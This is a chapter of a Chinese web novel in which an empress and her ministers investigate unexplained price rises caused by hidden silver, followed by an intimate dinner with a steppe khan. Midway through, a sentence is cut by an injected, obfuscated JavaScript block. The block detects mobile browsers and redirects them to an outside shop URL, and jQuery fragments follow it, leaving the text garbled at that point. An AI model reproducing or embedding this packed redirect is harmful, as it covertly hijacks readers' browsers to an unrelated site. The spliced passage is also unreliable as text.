这回苏如玉报上来的便更怪，淮宁到源安一带不止绸缎价高，连带着粮油酒肉也涨价不少；更怪的是，就这一带物价飞涨，再往外去却又好许多。


    倒全然不是产量不足之祸。


    “这倒怪哉。”皇帝忍不住掸了掸手里折子，“与平素极是不同。”


    但事出必有因。


    苏如玉皱着眉头站在一边，对李明珠道：“这一带这两年可施行了什么新法不成？”


    “苏中丞多虑了，近年因海贸盛行，故而江宁一带均以白银收税，为避地方吏员压榨百姓，特设火耗归公一条，禁收火耗银。”


    李明珠语速极慢，过不两句便顿一顿，显然是仍有思索。


    “端仪？”


    “臣想着……此事若非大商贾背后操纵市价，囤积居奇，除非……”


    “除非什么？”


    李明珠两只眼睛睁圆了，显然自己也不信这说辞：“除非天上掉下大量银两。”


    皇帝便一下没控制住：“哈？银子怎么从天上掉下来？”


    “陛下……”如期跑了几步，见殿中仍在议事，身子一直，放轻了手脚过来，“宁君到了。”


    哦，皇帝瞧了瞧外头，天色早黑下来，是快到晚膳时候了。


    “引他往侧殿候着吧。”


    “是。”


    李明珠在一旁等着如期退下去才道：“若以苏中丞说法，生丝价低绸缎价高，金银首饰价高而匠人工钱不多，粮米价高而……”


    他忽而一顿：“苏中丞可记得田亩价钱？”


    这与绸缎有什么关系？


    苏如玉眨了眨眼睛，思索了好一阵才缓缓开了口：“近年严禁大额田产买卖，桑田价高些，稻田价稍低，倒是……”


    她忽而想起什么，猛然沉下声音：“不，田价也加高了。”


    “敢问田价加高在何处？”


    “下官为此案只走源安淮宁一带并周边几县，确是这一带明显。”


    阿斯兰进殿时候忍不住往西殿瞟了一眼。


    紫袍那个男人，他见过。


    又老了不少。听说年轻时候是个美男子。


    自然是美男子。


    他寻了个空座坐了，叫人给他端茶。


    “若只是这一带物价奇高，却无天灾毁田，便只有人祸。”李明珠忍不住摩挲起下巴，他从迈过四十五后也渐蓄起须来，得了束山羊胡子，“人祸，有豪绅大肆买卖田产，有地方官僚横征暴敛，此处近海贸，亦有海上沉船、官府不积储备粮布、金银自海上来提高市价几种。臣久不在地方，自税赋等处实是瞧不出名头。”


    再往下便该是察院人份内了。


    皇帝便飞了苏如玉一眼。


    “先坐吧，你二人可有旁事？倒也可在朕这用个晚膳，”她招来如期，“上些茶水点心来。”


    “哎。”如期应了声，又带了两个小黄门退下去。


    皇帝往桌上翻了翻，又叫来长宁吩咐几句，挑出了今年内江宁道所有请安折子。


    “朕记得多处奏报中，延迟者有之，重复者有之，所报赋税银两水旱等确是无谬误的，各级奏报均无矛盾之处。”


    “是，臣往地方上巡察，也未见得州县一级人私加税赋……”苏如玉沉吟了许久，忽而道，“倒是苏台一地，颇有些异样。”


    殿中几人一齐看向苏如玉。


    “此处市价相对平抑。”


    显然苏台便是突破口了。


    皇帝并未沉吟多久便有了对策：“璇玑，你带人重返江宁，自苏台查起，重在探访苏台为何物价平抑；端仪，你带人清查历年银矿产量与海贸收支……还有，端仪。”


    钱财有去处则必有来处。若真是白银增多以至于淮宁一带市价暴涨，则必有不寻常来处。大楚境内银矿不过那么几处，白银能成赋税标尺全仰近年海贸再兴，西洋商队携金银入港贸易丝与茶。


    此前为防下级吏员强取豪夺，特设火耗充公一法，但火耗归公只会缓慢造成银两不足称，则带来物价先涨再跌，且必不会如此突然。必然有人从海外贸易或者银矿里昧下官银，在账目上做了手脚。


    “陛下。”


    她端着下巴道：“你私下与你那学生去一封书信，令他详细报来，前几年苏台县令可是她啊。”


    这是她也认同有白银自天降——银子自然不可能从天而降，只有两种可能，不是银矿有人昧下，便是海贸有人私吞。


    “是。”李明珠一拱手，缓缓退了两步又回过头来，“陛下，此处一来一回一月有余，臣恐怕与江宁在地民生有碍。”


    此事延至宫中进贡品目，定然事发有一段时日，至迟也该是初春时节便事发。


    再拖延下去，恐生民变。


    “这倒是。”皇帝叫住苏如玉道，“璇玑，你往江宁道去时，朕予你开仓放粮之权，无论如何先保住民生，至于其他，便以今年所贡衣料以次充好发作便是，不用提白银与物价。”


    免得打草惊蛇。


    苏如玉意会，正色一礼道：“是。”


    “天色不早，在偏殿用过晚膳朕派人送你们出宫吧。”皇帝笑道，“外头等摆饭也等急了。”


    两人便忍不住往东侧殿瞧了一眼。


    皇帝一瞥不由好笑道：“你二人单独往偏殿用膳罢了，朕另有赐膳，不必与公子对面。”


    李明珠便率先松了一口气，不期与皇帝对上一眼，又迅疾移开视线。给苏如玉瞧见了，只当是没瞧见，只谢了恩默默跟着如约几个往偏殿去。


    长者赐，不可辞。


    倒是阿斯兰等了老半天早饥肠辘辘了，好不容易才捱到了摆饭，一见这两人候坐到了偏殿便先坐了：“今天事情很多？”


    “不多，就那么一件，只是麻烦。”皇帝招呼了几个黄门，分出几品菜凑出一桌先送去偏殿，又叫分了些汤水粥品过去，“今年送进宫的料子太次了些，我找人查呢。”


    阿斯兰才想起来道：“沈希形今天说送料子的时候脸色是不大好。”


    “宫中节俭，他在宫里管事便难做。你那几匹是我亲自挑的，虽说花样旧些，但衬你，明儿送去裁了吧。”皇帝笑道，叫阿斯兰坐近些，“晓得你昨儿不快活呢，好歹饶了你宫里那两个小的吧。”


    她不提也罢了，这一提起来阿斯兰更要拉长了脸：“他们两个本来就是送给你的，我管不得他们。”


    哎哟，不晓得是谁在宫里关着门摆大汗的架子。


    “那我可叫他们……”


    “不行。”阿斯兰瞪了皇帝一眼，“……今天不行，我不在宫里的时候随你便。”


    瞧他这样。皇帝实在好笑，便忍不住在桌子底下勾他的脚。脚尖顺着靴面蹭过去，直到轻轻踩上脚趾，两只脚便也缠在一处。不多时一声轻响，又一声闷响，两只鞋子便双双落了地。


    “你那几个叔伯兄弟今年又不回漠北了。”皇帝笑道，“你不如趁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086851|187166||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此机会扶持下一代主政，架空他们。”


    阿斯兰却嗤了一声道：“京城温暖又舒服，不想回很正常。他们已经连弓都拉不动了，你还记得他们去年秋狩吗，什么也没猎到。”


    去年他自己倒是大满贯，拖着猎物在猎场上震慑王公，宣告大汗英勇不减当年——自然那堆野味大多是送到了皇帝帐中。


    “不需要我做什么，他们很快就会失去权力，只做圈养在京城的羊，等你落下屠刀。”


    “我落什么屠刀呢，边境上商队随意倒卖些，再上京奢靡几日，他们那点小金库用不多久就能被掏空。”皇帝也好笑道，“重在你如何排除他们独揽大权。草原上地广人稀，不可能与中原有同等治理。”


    所以令他划分草场，杨九辞借接济过冬粮食棉絮为牧民录籍。人只有留在土地上，同时信仰远方的太阳，才能维持土地一统。土地没有信仰故而需要人赋予信仰，人没有土地不过一具躯壳，故而驱使人占有土地。


    “我知道。”阿斯兰默默给皇帝碗里填上些小菜——她口味清淡，春日时令又是各色鲜蔬多，自然膳桌上也多是此类。


    他不由叹了口气，“要在我死之前把这些东西集中到你手里才行，王族可以活着，但他们治理不好草原。我的父亲、祖父、伯父，大多活不过六十岁就生病死了，我也没有很多年剩下。”


    皇帝歪过脸道：“可你养在宫里，精细日子过得多，不受寒不受热，也没风吹日晒的，早早想这事做什么呢，你还年轻着。”


    阿斯兰只道：“我不能不想。”


    皇帝缓缓眨了眨眼睛。


    “那也不是今日该想的，”她拿食箸尾戳了戳阿斯兰手臂，“还早，还早，用过晚膳我们还要去散步，日子长着呢。”


    “嗯。”阿斯兰缓慢应下，又忍不住往偏殿瞧了一眼，终究没多说话，“吃完饭，我陪你去散步。”


    阿斯兰忍不住去瞧皇帝。


    她与二十年前并无不同，穿着华美的绸缎衣服，牵着他的手，脚步轻快稳便，脸上看不到一丝皱纹。


    和她身边那个金毛狗一样，她不会衰老。中原人说皇帝受命于天，代天牧民，这是上天降下的福泽，保佑天子不受生老病死所苦。


    只会让她身边的人感到恐惧罢了。


    他缓缓掀开珠帘，跟着皇帝坐回殿中。


    李明珠几个自然用过晚膳便令如期引着出宫了，此刻殿中不过她二人，皇帝便索性坐去阿斯兰怀里，随手拿了本话本子读。


    “你今天不用去批折子吗。”


    “就那么一件事，眼下也没得进展，不如先悠闲片刻。”她卷了书脊有一搭没一搭地瞧，这本子没什么新意，不好看，“就像你，漠北那边王公安定了，你手下的亲兵也训得差不多了，王公们的子女也该送京城的送京城，该管理牧民的管理牧民，每年不也就那么些事么。”


    只是非得大汗去草原上住着，才有一半时日不在宫里罢了。


    阿斯兰见她几近滑落下去不由伸手拦了一把，“几件衣服，不用这么严。我可以把我那些分给其他人。”


    “哪是几件衣裳几匹缎子的事呢，寻常时候俭省便俭省了，”皇帝好笑，又换了个姿势倚在阿斯兰怀里，“没得天灾，必定是人祸，不查出来必然藏污纳垢，多有隐患。千里之堤，溃于蚁穴，你也学过的。这就是个噱头罢了。


    “再说了，宫里上贡的东西都敷衍，不定底下成什么样了呢。”